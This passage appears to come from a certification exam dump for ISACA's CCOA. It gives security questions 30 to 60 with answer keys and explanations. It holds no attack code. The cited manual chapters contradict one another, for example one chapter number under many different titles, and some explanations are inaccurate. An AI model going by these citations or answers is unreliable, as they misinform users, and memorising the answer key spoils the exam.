The Recovery Point Objective (RPO) defines the maximum acceptable amount of data loss measured in time before a disaster occurs.

Daily Backups: If the DRP requires daily backups, the RPO is effectively set at 24 hours, meaning the organization can tolerate up to one day of data loss.

Data Preservation: Ensures that the system can recover data up to the last backup point.

Business Continuity Planning: Helps determine how often data backups need to be performed to minimize loss.

Other options analysis:

A . Maximum tolerable downtime (MTD): Refers to the total time a system can be down before significant impact.

B . Recovery time objective (RTO): Defines the time needed to restore operations after an incident.

D . Mean time to failure (MTTF): Indicates the average time a system operates before failing.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Business Continuity and Disaster Recovery: Defines RPO and its importance in data backup strategies.

Chapter 7: Risk Management: Discusses RPO as a key metric in disaster recovery planning.

Question: 30

Which of the following utilities is MOST suitable for administrative tasks and automation?

A. Command line Interface (CLI)

B. Integrated development environment (IDE)

C. System service dispatcher (SSO)

D. Access control list (ACL)

Answer: A

Explanation:

The Command Line Interface (CLI) is most suitable for administrative tasks and automation because:

Scriptable and Automatable: CLI commands can be combined in scripts for automating repetitive tasks.

Direct System Access: Administrators can directly interact with the system to configure, manage, and troubleshoot.

Efficient Resource Usage: Consumes fewer system resources compared to graphical interfaces.

Customizability: Advanced users can chain commands and create complex workflows using shell scripting.

Other options analysis:

B . Integrated Development Environment (IDE): Primarily used for software development, not system administration.

C . System service dispatcher (SSO): Not relevant for administrative tasks.

D . Access control list (ACL): Manages permissions, not administrative automation.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 9: System Administration Best Practices: Highlights the role of CLI in administrative and automation tasks.

Chapter 7: Automation in Security Operations: Explains the efficiency of CLI-based automation.

Question: 31

When identifying vulnerabilities, which of the following should a cybersecurity analyst determine FIRST?

A. The number of vulnerabilities Identifiable by the scanning tool

B. The number of tested asset types included in the assessment

C. The vulnerability categories possible for the tested asset types

D. The vulnerability categories Identifiable by the scanning tool

Answer: C

Explanation:

When identifying vulnerabilities, the first step for a cybersecurity analyst is to determine the vulnerability categories possible for the tested asset types because:

Asset-Specific Vulnerabilities: Different asset types (e.g., servers, workstations, IoT devices) are susceptible to different vulnerabilities.

Targeted Scanning: Knowing the asset type helps in choosing the correct vulnerability scanning tools and configurations.

Accuracy in Assessment: This ensures that the scan is tailored to the specific vulnerabilities associated with those assets.

Efficiency: Reduces false positives and negatives by focusing on relevant vulnerability categories.

Other options analysis:

A . Number of vulnerabilities identifiable: This is secondary; understanding relevant categories comes first.

B . Number of tested asset types: Knowing asset types is useful, but identifying their specific vulnerabilities is more crucial.

D . Vulnerability categories identifiable by the tool: Tool capabilities matter, but only after determining what needs to be tested.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Vulnerability Management: Discusses the importance of asset-specific vulnerability identification.

Chapter 8: Threat and Vulnerability Assessment: Highlights the relevance of asset categorization.

Question: 32

Which of the following should be considered FIRST when determining how to protect an organization's information assets?

A. A prioritized Inventory of IT assets

B. The organization's business model

C. Results of vulnerability assessments

D. The organization's risk reporting

Answer: B

Explanation:

When determining how to protect an organization's information assets, the first consideration should be the organization's business model because:

Contextual Risk Management: The business model dictates the types of data the organization processes, stores, and transmits.

Critical Asset Identification: Understanding how the business operates helps prioritize mission- critical systems and data.

Security Strategy Alignment: Ensures that security measures align with business objectives and requirements.

Regulatory Compliance: Different industries have unique compliance needs (e.g., healthcare vs. finance).

Other options analysis:

A . Prioritized inventory: Important but less foundational than understanding the business context.

C . Vulnerability assessments: Relevant later, after identifying critical business functions.

D . Risk reporting: Informs decisions but doesn't form the primary basis for protection strategies.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 2: Risk Management and Business Impact: Emphasizes considering business objectives before implementing security controls.

Chapter 5: Strategic Security Planning: Discusses aligning security practices with business models.

Question: 33

Which of the following is the PRIMARY reason for tracking the effectiveness of vulnerability remediation processes within an organization?

A. To provide reports to senior management so that they can justify the expense of vulnerability management tools

B. To identify executives who are responsible for delaying patching and report them to the board

C. To ensure employees responsible for patching vulnerabilities are actually doing their job correctly

D. To reduce the likelihood of a threat actor successfully exploiting vulnerabilities In the organization's systems

Answer: D

Explanation:

The primary reason for tracking the effectiveness of vulnerability remediation processes is to reduce the likelihood of successful exploitation by:

Measuring Remediation Efficiency: Ensures that identified vulnerabilities are being fixed effectively and on time.

Continuous Improvement: Identifies gaps in the remediation process, allowing for process enhancements.

Risk Reduction: Reduces the organization's attack surface and mitigates potential threats.

Accountability: Ensures that remediation efforts align with security policies and risk management strategies.

Other options analysis:

A . Reporting to management: Important but not the primary reason.

B . Identifying responsible executives: Not a valid security objective.

C . Verifying employee tasks: Relevant for internal controls but not the core purpose.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Vulnerability Remediation: Discusses the importance of measuring remediation effectiveness.

Chapter 9: Incident Prevention: Highlights tracking remediation to minimize exploitation risks.

Question: 34

Which of the following BEST describes JSON web tokens?

A. They can be used to store user Information and session data.

B. They can only be used to authenticate users in web applications.

C. They are signed using a public key and verified using a private key.

D. They are only used with symmetric encryption.

Answer: A

Explanation:

JSON Web Tokens (JWTs) are used to transmit data between parties securely, often for authentication and session management.

Data Storage: JWTs can contain user information and session details within the payload section.

Stateless Authentication: Since the token itself holds the user data, servers do not need to store sessions.

Signed, Not Encrypted: JWTs are typically signed using private keys to ensure integrity but may or may not be encrypted.

Common Usage: API authentication, single sign-on (SSO), and user sessions in web applications.

Other options analysis:

B . Only for authentication: JWTs can also carry claims for authorization or session data.

C . Signed using public key: Usually, JWTs are signed with a private key and verified using a public key.

D . Only symmetric encryption: JWTs can use both symmetric (HMAC) and asymmetric (RSA/EC) algorithms.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 8: Authentication and Token Management: Explains the role of JWTs in secure data transmission.

Chapter 9: API Security: Discusses the use of JWTs for secure API communication.

Question: 35

Which of the following is the PRIMARY benefit of compiled programming languages?

A. Streamlined development

B. Faster application execution

C. Flexible deployment

D. Ability to change code in production

Answer: B

Explanation:

The primary benefit of compiled programming languages (like C, C++, and Go) is faster execution speed because:

Direct Machine Code: Compiled code is converted to machine language before execution, eliminating interpretation overhead.

Optimizations: The compiler optimizes code for performance during compilation.

Performance-Intensive Applications: Ideal for system programming, game development, and high- performance computing.

Other options analysis:

A . Streamlined development: Compiled languages often require more code and debugging compared to interpreted languages.

C . Flexible deployment: Interpreted languages generally offer more flexibility.

D . Changing code in production: Typically challenging without recompilation.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 10: Secure Coding Practices: Discusses the benefits and challenges of compiled languages.

Chapter 8: Software Development Lifecycle (SDLC): Highlights the performance benefits of compiled code.

Question: 36

Which type of access control can be modified by a user or data owner?

A. Mandatory access control

B. Role-based access control (RBAC)

C. Discretionary access control

D. Rule-based access control

Answer: C

Explanation:

Discretionary Access Control (DAC) allows users or data owners to modify access permissions for resources they own.

Owner-Based Permissions: The resource owner decides who can access or modify the resource.

Flexibility: Users can grant, revoke, or change permissions as needed.

Common Implementation: File systems where owners set permissions for files and directories.

Risk: Misconfigurations can lead to unauthorized access if not properly managed.

Other options analysis:

A . Mandatory Access Control (MAC): Permissions are enforced by the system, not the user.

B . Role-Based Access Control (RBAC): Access is based on roles, not user discretion.

D . Rule-Based Access Control: Permissions are determined by predefined rules, not user control.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Access Control Models: Clearly distinguishes DAC from other access control methods.

Chapter 9: Secure Access Management: Explains how DAC is implemented and managed.

Question: 37

An organization's hosted database environment is encrypted by the vendor at rest and in transit. The database was accessed, and critical data was stolen. Which of the following is the MOST likely cause?

A. Use of group rights for access

B. Improper backup procedures

C. Misconfigured access control list (ACL)

D. Insufficiently strong encryption

Answer: C

Explanation:

Even when a database environment is encrypted at rest and in transit, data theft can still occur due to misconfigured access control lists (ACLs).

Why ACL Misconfiguration Is Likely:

Access Permissions: If ACLs are not correctly configured, unauthorized users might gain access despite encryption.

Insider Threats: Legitimate users with excessive permissions can misuse access.

Access via Compromised Accounts: If user accounts with broad ACL permissions are compromised,

encryption alone will not protect data.

Encryption Is Not Enough: Encryption protects data in transit and at rest, but once decrypted for use, weak ACLs can expose the data.

Other options analysis:

A . Group rights for access: Not as directly related as misconfigured ACLs.

B . Improper backup procedures: Would affect data recovery, not direct access.

D . Insufficiently strong encryption: Data was accessed, indicating a permission issue, not weak encryption.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Access Control and Data Protection: Discusses the importance of proper ACL configurations.

Chapter 9: Database Security Practices: Highlights common access control pitfalls.

Question: 38

An attacker has exploited an e-commerce website by injecting arbitrary syntax that was passed to and executed by the underlying operating system. Which of the following tactics did the attacker MOST likely use?

A. Command injection

B. Injection

C. Lightweight Directory Access Protocol (LDAP) Injection

D. Insecure direct object reference

Answer: A

Explanation:

The attack described involves injecting arbitrary syntax that is executed by the underlying operating system, characteristic of a Command Injection attack.

Nature of Command Injection:

Direct OS Interaction: Attackers input commands that are executed by the server's OS.

Vulnerability Vector: Often occurs when user input is passed to system calls without proper validation or sanitization.

Examples: Using characters like ;, &&, or | to append commands.

Common Scenario: Exploiting poorly validated web application inputs that interact with system commands (e.g.,

ping, dir).

Other options analysis:

B . Injection: Targets databases, not the underlying OS.

C . LDAP Injection: Targets LDAP directories, not the OS.

D . Insecure direct object reference: Involves unauthorized access to objects through predictable URLs, not OS command execution.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 8: Web Application Attacks: Covers command injection and its differences from i.

Chapter 9: Input Validation Techniques: Discusses methods to prevent command injection.

Question: 39

Which of the following should be completed FIRST in a data loss prevention (OLP) system implementation project?

A. Deployment scheduling

B. Data analysis

C. Data Inventory

D. Resource allocation

Answer: C

Explanation:

The first step in a Data Loss Prevention (DLP) implementation is to perform a data inventory because:

Identification of Sensitive Data: Knowing what data needs protection is crucial before deploying DLP solutions.

Classification and Prioritization: Helps in categorizing data based on sensitivity and criticality.

Mapping Data Flows: Identifies where sensitive data resides and how it moves within the organization.

Foundation for Policy Definition: Enables the creation of effective DLP policies tailored to the organization's needs.

Other options analysis:

A . Deployment scheduling: Occurs after data inventory and planning.

B . Data analysis: Follows the inventory to understand data use and flow.

D . Resource allocation: Important but secondary to identifying what needs protection.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Data Loss Prevention Strategies: Highlights data inventory as a foundational step.

Chapter 7: Information Asset Management: Discusses how proper inventory supports DLP.

Question: 40

A change advisory board Is meeting to review a remediation plan for a critical vulnerability, with a cybersecurity analyst in attendance. When asked about measures to address post-implementation issues, which o! the following would be the analyst's BEST response?

A. The remediation should be canceled if post-implementation issues are anticipated.

B. Details for rolling back applied changes should be included In the remediation plan.

C. The severity of the vulnerability determines whether a rollback plan is required.

D. The presence of additional onsite staff during the implementation removes the need for a rollback plan.

Answer: B

Explanation:

When discussing a remediation plan for a critical vulnerability, it is essential to include a rollback plan because:

Post-Implementation Issues: Changes can cause unexpected issues or system instability.

Risk Mitigation: A rollback plan ensures quick restoration to the previous state if problems arise.

Best Practice: Always plan for potential failures when applying significant security changes.

Change Management: Ensures continuity by maintaining a safe fallback option.

Other options analysis:

A . Canceling remediation: This is not a proactive or practical approach.

C . Severity-based rollback: Rollback plans should be standard regardless of severity.

D . Additional staff presence: Does not eliminate the need for a rollback strategy.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 9: Change Management in Security Operations: Emphasizes rollback planning during critical changes.

Chapter 8: Vulnerability Management: Discusses post-remediation risk considerations.

Question: 41

In which cloud service model are clients responsible for regularly updating the operating system?

A. Infrastructure as a Service (IaaS)

B. Software as a Service (SaaS)

C. Database as a Service (OBaaS)

D. Platform as a Service (PaaS)

Answer: A

Explanation:

In the IaaS (Infrastructure as a Service) model, clients are responsible for managing and updating the operating system because:

Client Responsibility: The provider supplies virtualized computing resources (e.g., VMs), but OS maintenance remains with the client.

Flexibility: Users can install, configure, and update OSs according to their needs.

Examples: AWS EC2, Microsoft Azure VMs.

Compared to Other Models:

SaaS: The provider manages the entire stack, including the OS.

DBaaS: Manages databases without requiring OS maintenance.

PaaS: The platform is managed, leaving no need for direct OS updates.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 10: Cloud Security and IaaS Management: Discusses client responsibilities in IaaS environments.

Chapter 9: Cloud Deployment Models: Explains how IaaS differs from SaaS and PaaS.

Question: 42

An organization's financial data was compromised and posted online. The forensics review confirms proper access rights and encryption of the database at the host site. A lack of which of the following controls MOST likely caused the exposure?

A. Continual backups

B. Multi-factor authentication (MFA)

C. Encryption o' data in transit

D. Properly configured firewall

Answer: B

Explanation:

The compromise occurred despite encryption and proper access rights, indicating that the attacker likely gained access through compromised credentials. MFA would mitigate this by:

Adding a Layer of Security: Even if credentials are stolen, the attacker would also need the second factor (e.g., OTP).

Account Compromise Prevention: Prevents unauthorized access even if username and password are known.

Insufficient Authentication: The absence of MFA often leaves systems vulnerable to credential-based attacks.

Other options analysis:

A . Continual backups: Addresses data loss, not unauthorized access.

C . Encryption in transit: Encryption was already implemented.

D . Configured firewall: Helps with network security, not authentication.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Access Management and Authentication: Discusses the critical role of MFA in preventing unauthorized access.

Chapter 9: Identity and Access Control: Highlights how MFA reduces the risk of data exposure.

Question: 43

An organization has received complaints from a number of its customers that their data has been breached. However, after an investigation, the organization cannot detect any indicators of compromise. The breach was MOST likely due to which type of attack?

A. Supply chain attack

B. Zero-day attack

C. injection attack

D. Man-in the-middle attack

Answer: A

Explanation:

A supply chain attack occurs when a threat actor compromises a third-party vendor or partner that an organization relies on. The attack is then propagated to the organization through trusted connections or software updates.

Reason for Lack of Indicators of Compromise (IoCs):

The attack often occurs upstream (at a vendor), so the compromised organization may not detect any direct signs of breach.

Trusted Components: Malicious code or backdoors may be embedded in trusted software updates or services.

Real-World Example: The SolarWinds breach, where attackers compromised the software build pipeline, affecting numerous organizations without direct IoCs on their systems.

Why Not the Other Options:

B . Zero-day attack: Typically leaves some traces or unusual behavior.

C . injection attack: Usually detectable through web application monitoring.

D . Man-in-the-middle attack: Often leaves traces in network logs.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Advanced Threats and Attack Techniques: Discusses the impact of supply chain attacks.

Chapter 9: Incident Response Planning: Covers the challenges of detecting supply chain compromises.

Question: 44

Which of the following is MOST helpful to significantly reduce application risk throughout the system development life cycle (SOLC)?

A. Security by design approach

B. Security through obscurity approach

C. Peer code reviews

D. Extensive penetration testing

Answer: A

Explanation:

Implementing Security by Design throughout the Software Development Life Cycle (SDLC) is the most effective way to reduce application risk because:

Proactive Risk Mitigation: Incorporates security practices from the very beginning, rather than addressing issues post-deployment.

Integrated Testing: Security requirements and testing are embedded in each phase of the SDLC.

Secure Coding Practices: Reduces vulnerabilities like injection, XSS, and insecure deserialization.

Cost Efficiency: Fixing issues during design is significantly cheaper than patching after production.

Other options analysis:

B . Security through obscurity: Ineffective as a standalone approach.

C . Peer code reviews: Valuable but limited if security is not considered from the start.

D . Extensive penetration testing: Detects vulnerabilities post-development, but cannot fix flawed architecture.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 10: Secure Software Development Practices: Discusses the importance of integrating security from the design phase.

Chapter 7: Application Security Testing: Highlights proactive security in development.

Question: 45

Which of the following is MOST important for maintaining an effective risk management program?

A. Approved budget

B. Automated reporting

C. Monitoring regulations

D. Ongoing review

Answer: D

Explanation:

Maintaining an effective risk management program requires ongoing review because:

Dynamic Risk Landscape: Threats and vulnerabilities evolve, necessitating continuous reassessment.

Policy and Process Updates: Regular review ensures that risk management practices stay relevant and effective.

Performance Monitoring: Allows for the evaluation of control effectiveness and identification of areas for improvement.

Regulatory Compliance: Ensures that practices remain aligned with evolving legal and regulatory requirements.

Other options analysis:

A . Approved budget: Important for resource allocation, but not the core of continuous effectiveness.

B . Automated reporting: Supports monitoring but does not replace comprehensive reviews.

C . Monitoring regulations: Part of the review process but not the sole factor.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Risk Management Frameworks: Emphasizes the importance of continuous risk assessment.

Chapter 7: Monitoring and Auditing: Describes maintaining a dynamic risk management process.

Question: 46

Which of the following Is a PRIMARY function of a network intrusion detection system (IDS)?

A. Dropping network traffic if suspicious packets are detected

B. Analyzing whether packets are suspicious

C. Filtering incoming and outgoing network traffic based on security policies

D. Preventing suspicious packets from being executed

Answer: B

Explanation:

The primary function of a Network Intrusion Detection System (IDS) is to analyze network traffic to detect potentially malicious activity by:

Traffic Monitoring: Continuously examining inbound and outbound data packets.

Signature and Anomaly Detection: Comparing packet data against known attack patterns or baselines.

Alerting: Generating notifications when suspicious patterns are detected.

Passive Monitoring: Unlike Intrusion Prevention Systems (IPS), IDS does not block or prevent traffic.

Other options analysis:

A . Dropping traffic: Function of an IPS, not an IDS.

C . Filtering traffic: Typically handled by firewalls, not IDS.

D . Preventing execution: IDS does not actively block or mitigate threats.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 8: Network Monitoring and Intrusion Detection: Describes IDS functions and limitations.

Chapter 7: Security Operations and Monitoring: Covers the role of IDS in network security.

Question: 47

Which of the following BEST describes static application security testing (SAST)?

A. Vulnerability scanning

B. Code review

C. Attack simulation

D. Configuration management

Answer: B

Explanation:

Static Application Security Testing (SAST) involves analyzing source code or compiled code to identify vulnerabilities without executing the program.

Code Analysis: Identifies coding flaws, such as injection, buffer overflows, or insecure function usage.

Early Detection: Can be integrated into the development pipeline to catch issues before deployment.

Automation: Tools like SonarQube, Checkmarx, and Fortify are commonly used.

Scope: Typically focuses on source code, bytecode, or binary code.

Other options analysis:

A . Vulnerability scanning: Typically involves analyzing deployed applications or infrastructure.

C . Attack simulation: Related to dynamic testing (e.g., DAST), not static analysis.

D . Configuration management: Involves maintaining and controlling software configurations, not code analysis.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 9: Application Security Testing: Discusses SAST as a critical part of secure code development.

Chapter 7: Secure Coding Practices: Highlights the importance of static analysis during the SDLC.

Question: 48

Which of the following is the PRIMARY risk associated with cybercriminals eavesdropping on unencrypted network traffic?

A. Data notification

B. Data exfiltration

C. Data exposure

D. Data deletion

Answer: C

Explanation:

The primary risk associated with cybercriminals eavesdropping on unencrypted network traffic is data exposure because:

Interception of Sensitive Data: Unencrypted traffic can be easily captured using tools like Wireshark or tcpdump.

Loss of Confidentiality: Attackers can view clear-text data, including passwords, personal information, or financial details.

Common Attack Techniques: Includes packet sniffing and Man-in-the-Middle (MitM) attacks.

Mitigation: Encrypt data in transit using protocols like HTTPS, SSL/TLS, or VPNs.

Other options analysis:

A . Data notification: Not relevant in the context of eavesdropping.

B . Data exfiltration: Usually involves transferring data out of the network, not just observing it.

D . Data deletion: Unrelated to passive eavesdropping.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Security Operations: Highlights the risks of unencrypted traffic.

Chapter 8: Threat Detection and Monitoring: Discusses eavesdropping techniques and mitigation.

Question: 49

Which of the following has been established when a business continuity manager explains that a critical system can be unavailable up to 4 hours before operation is significantly impaired?

A. Maximum tolerable downtime (MID)

B. Service level agreement (SLA)

C. Recovery point objective (RPO)

D. Recovery time objective (RTO)

Answer: D

Explanation:

The Recovery Time Objective (RTO) is the maximum acceptable time that a system can be down before significantly impacting business operations.

Context: If the critical system can be unavailable for up to 4 hours, the RTO is 4 hours.

Objective: To define how quickly systems must be restored after a disruption to minimize operational impact.

Disaster Recovery Planning: RTO helps design recovery strategies and prioritize resources.

Other options analysis:

A . Maximum tolerable downtime (MTD): Represents the absolute maximum time without operation, not the target recovery time.

B . Service level agreement (SLA): Defines service expectations but not recovery timelines.

C . Recovery point objective (RPO): Defines data loss tolerance, not downtime tolerance.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Business Continuity and Disaster Recovery: Explains RTO and its role in recovery planning.

Chapter 7: Recovery Strategy Planning: Highlights RTO as a key metric.

Question: 50

Which of the following Is a control message associated with the Internet Control Message Protocol (ICMP)?

A. Transport Layer Security (TLS) protocol version Is unsupported.

B. Destination is unreachable.

C. 404 is not found.

D. Webserver Is available.

Answer: B

Explanation:

The Internet Control Message Protocol (ICMP) is used for error reporting and diagnostics in IP networks.

Control Messages: ICMP messages inform the sender about network issues, such as:

Destination Unreachable: Indicates that the packet could not reach the intended destination.

Echo Request/Reply: Used in ping to test connectivity.

Time Exceeded: Indicates that a packet's TTL (Time to Live) has expired.

Common Usage: Troubleshooting network issues (e.g., ping and traceroute).

Other options analysis:

A . TLS protocol version unsupported: Related to SSL/TLS, not ICMP.

C . 404 not found: An HTTP status code, unrelated to ICMP.

D . Webserver is available: A general statement, not an ICMP message.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Protocols and ICMP: Discusses ICMP control messages.

Chapter 7: Network Troubleshooting Techniques: Explains ICMP's role in diagnostics.

Question: 51

An organization moving its payment card system into a separate location on its network (or security reasons is an example of network:

A. redundancy.

B. segmentation.

C. encryption.

D. centricity.

Answer: B

Explanation:

The act of moving a payment card system to a separate network location is an example of network segmentation because:

Isolation for Security: Segregates sensitive systems from less secure parts of the network.

PCI DSS Compliance: Payment card data must be isolated to reduce the scope of compliance.

Minimized Attack Surface: Limits exposure in case other parts of the network are compromised.

Enhanced Control: Allows for tailored security measures specific to payment systems.

Other options analysis:

A . Redundancy: Involves having backup systems, not isolating networks.

C . Encryption: Protects data but does not involve network separation.

D . Centricity: Not a recognized concept in network security.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 7: Network Segmentation and Isolation: Emphasizes segmentation for protecting sensitive data.

Chapter 9: PCI Compliance Best Practices: Discusses network segmentation to secure payment card environments.

Question: 52

Which of the following can be used to identity malicious activity through a take user identity?

A. Honeypot

B. Honey account

C. Indicator of compromise (IoC)

D. Multi-factor authentication (MFA)

Answer: B

Explanation:

A honey account is a decoy user account set up to detect malicious activity, such as:

Deception Techniques: The account appears legitimate to attackers, enticing them to use it.

Monitoring Usage: Any interaction with the honey account triggers an alert, indicating potential compromise.

Detection of Credential Theft: If attackers attempt to use the honey account, it signals possible credential leakage.

Purpose: Specifically designed to identify malicious activity through the misuse of seemingly valid accounts.

Other options analysis:

A . Honeypot: A decoy system or network, not specifically an account.

C . Indicator of compromise (IoC): Represents evidence of an attack, not a decoy mechanism.

D . Multi-factor authentication (MFA): Increases authentication security, but does not detect malicious use directly.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 6: Threat Detection and Deception: Discusses the use of honey accounts for detecting unauthorized access.

Chapter 8: Advanced Threat Intelligence: Highlights honey accounts as a proactive detection technique.

Question: 53

Which of the following is the PRIMARY purpose of load balancers in cloud networking?

A. Distributing traffic between multiple servers

B. Optimizing database queries

C. Monitoring network traffic

D. Load testing applications

Answer: A

Explanation:

The primary purpose of load balancers in cloud networking is to distribute incoming network traffic across multiple servers, thereby:

Ensuring Availability: By balancing traffic, load balancers prevent server overload and ensure high availability.

Performance Optimization: Evenly distributing traffic reduces response time and improves user experience.

Fault Tolerance: If one server fails, the load balancer redirects traffic to healthy servers, maintaining service continuity.

Scalability: Automatically adjusts to traffic changes by adding or removing servers as needed.

Use Cases: Commonly used for web applications, databases, and microservices in cloud environments.

Other options analysis:

B . Optimizing database queries: Managed at the database level, not by load balancers.

C . Monitoring network traffic: Load balancers do not primarily monitor but distribute traffic.

D . Load testing applications: Load balancers do not perform testing; they manage live traffic.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Traffic Management: Discusses the role of load balancers in cloud environments.

Chapter 7: High Availability and Load Balancing: Explains how load balancers enhance system resilience.

Question: 54

Which of the following is .1 PRIMARY output from the development of a cyber risk management strategy?

A. Accepted processes are Identified.

B. Business goals are communicated.

C. Compliance implementation is optimized.

D. Mitigation activities are defined.

Answer: D

Explanation:

The primary output from the development of a cyber risk management strategy is the definition of mitigation activities because:

Risk Identification: After assessing risks, the strategy outlines specific actions to mitigate identified threats.

Actionable Plans: Clearly defines how to reduce risk exposure, including implementing controls, patching vulnerabilities, or conducting training.

Strategic Guidance: Aligns mitigation efforts with organizational goals and risk tolerance.

Continuous Improvement: Provides a structured approach to regularly update and enhance mitigation practices.

Other options analysis:

A . Accepted processes are identified: Important, but the primary focus is on defining how to mitigate risks.

B . Business goals are communicated: The strategy should align with goals, but the key output is actionable mitigation.

C . Compliance implementation is optimized: Compliance is a factor but not the main result of risk management strategy.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 5: Risk Management and Mitigation: Highlights the importance of defining mitigation measures.

Chapter 9: Strategic Cyber Risk Planning: Discusses creating a roadmap for mitigation.

Question: 55

Which of the following should be the ULTIMATE outcome of adopting enterprise governance of information and technology in cybersecurity?

A. Business resilience

B. Risk optimization

C. Resource optimization

D. Value creation

Answer: D

Explanation:

The ultimate outcome of adopting enterprise governance of information and technology in cybersecurity is value creation because:

Strategic Alignment: Ensures that cybersecurity initiatives support business objectives.

Efficient Use of Resources: Enhances operational efficiency by integrating security practices seamlessly.

Risk Optimization: Minimizes the risk impact on business operations while maintaining productivity.

Business Enablement: Strengthens trust with stakeholders by demonstrating robust governance and security.

Other options analysis:

A . Business resilience: Important, but resilience is part of value creation, not the sole outcome.

B . Risk optimization: A component of governance but not the final goal.

C . Resource optimization: Helps achieve value but is not the ultimate outcome.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 2: Cyber Governance and Strategy: Explains how value creation is the core goal of governance.

Chapter 10: Strategic IT and Cybersecurity Alignment: Discusses balancing security with business value.

Question: 56

In the Open Systems Interconnection (OSI) Model for computer networking, which of the following is the function of the network layer?

A. Facilitating communications with applications running on other computers

B. Transmitting data segments between points on a network

C. Translating data between a networking service and an application

D. Structuring and managing a multi-node network

Answer: D

Explanation:

The Network layer (Layer 3) of the OSI model is responsible for:

Routing and Forwarding: Determines the best path for data to travel across multiple networks.

Logical Addressing: Uses IP addresses to uniquely identify hosts on a network.

Packet Switching: Breaks data into packets and routes them between nodes.

Traffic Control: Manages data flow and congestion control.

Protocols: Includes IP (Internet Protocol), ICMP, and routing protocols (like OSPF and BGP).

Other options analysis:

A . Communicating with applications: Application layer function (Layer 7).

B . Transmitting data segments: Transport layer function (Layer 4).

C . Translating data between a service and an application: Presentation layer function (Layer 6).

CCOA Official Review Manual, 1st Edition Reference:

Chapter 4: Network Protocols and the OSI Model: Details the role of each OSI layer, focusing on routing and packet management for the network layer.

Chapter 7: Network Design Principles: Discusses the importance of routing and addressing.

Question: 57

Which type of middleware is used for connecting software components that are written in different programming languages?

A. Transaction processing middleware

B. Remote procedure call middleware

C. Message-oriented middleware

D. Object-oriented middleware

Answer: D

Explanation:

Object-oriented middleware is used to connect software components written in different programming languages by:

Language Interoperability: Enables objects created in one language to be used in another, typically through CORBA (Common Object Request Broker Architecture) or DCOM (Distributed Component Object Model).

Distributed Systems: Facilitates communication between objects over a network.

Platform Independence: Abstracts the underlying communication protocols.

Example Use Case: A Java application calling methods on a C++ object using CORBA.

Other options analysis:

A . Transaction processing middleware: Manages distributed transactions, not language interoperability.

B . Remote procedure call middleware: Calls functions on remote systems but does not focus on language compatibility.

C . Message-oriented middleware: Transmits messages between applications but does not inherently bridge language gaps.

CCOA Official Review Manual, 1st Edition Reference:

Chapter 9: Middleware Technologies: Discusses various types of middleware and their roles.

Chapter 7: Distributed Computing Concepts: Explains how object-oriented middleware enhances cross-language communication.

Question: 58

The Platform as a Service (PaaS) model is often used to support which of the following?

A. Efficient application development and management

B. Local on-premise management of products and services

C. Subscription-based pay per use applications

D. Control over physical equipment running application developed In-house

Answer: A

Explanation:

The Platform as a Service (PaaS) model is primarily designed to provide a platform that supports the development, testing, deployment, and management of applications without the complexity of building and maintaining the underlying infrastructure. It offers developers a comprehensive environment with tools and libraries for application development, database management, and more.

PaaS solutions typically include development frameworks, application hosting, version control, and integration capabilities.

It abstracts the hardware and operating system layer, allowing developers to focus solely on building applications.

PaaS is typically used for creating and managing web or mobile applications efficiently.

Incorrect Options:

B . Local on-premise management of products and services: PaaS is a cloud-based model, not onpremise.

C . Subscription-based pay per use applications: This characteristic aligns more with the Software as a Service (SaaS) model.

D . Control over physical equipment running application developed In-house: This corresponds to Infrastructure as a Service (IaaS) rather than PaaS.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Service Models", Subsection "Platform as a Service (PaaS)" - PaaS is designed to facilitate efficient application development and management by offering integrated environments for application lifecycle management.

Question: 59

An insecure continuous integration and continuous delivery (CI/CD) pipeline would MOST likely lead to:

A. software Integrity failures.

B. broken access control.

C. security monitoring failures.

D. browser compatibility Issues.

Answer: A

Explanation:

An insecure CI/CD pipeline can lead to software integrity failures primarily due to the risk of:

Code Injection: Unauthenticated or poorly controlled access to the CI/CD pipeline can allow attackers to inject malicious code during build or deployment.

Compromised Dependencies: Automated builds may incorporate malicious third-party libraries or components, compromising the final product.

Insufficient Access Control: Without proper authentication and authorization mechanisms, unauthorized users might modify build configurations or artifacts.

Pipeline Poisoning: Attackers can alter the pipeline to include vulnerabilities or backdoors.

Due to the above risks, software integrity can be compromised, resulting in the distribution of tampered or malicious software.

Incorrect Options:

B . Broken access control: This is a more general web application security issue, not specific to CI/CD pipelines.

C . Security monitoring failures: While possible, this is not the most direct consequence of CI/CD pipeline insecurities.

D . Browser compatibility Issues: This is unrelated to CI/CD security concerns.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "DevSecOps and CI/CD Security", Subsection "Risks and Vulnerabilities in CI/CD Pipelines" - Insecure CI/CD pipelines can compromise software integrity due to code injection and dependency attacks.

Question: 60

The PRIMARY function of open source intelligence (OSINT) is:

A. encoding stolen data prior to exfiltration to subvert data loss prevention (DIP) controls.

B. Initiating active probes for open ports with the aim of retrieving service version information.

C. delivering remote access malware packaged as an executable file via social engineering tactics.

D. leveraging publicly available sources to gather Information on an enterprise or on individuals.

Answer: D

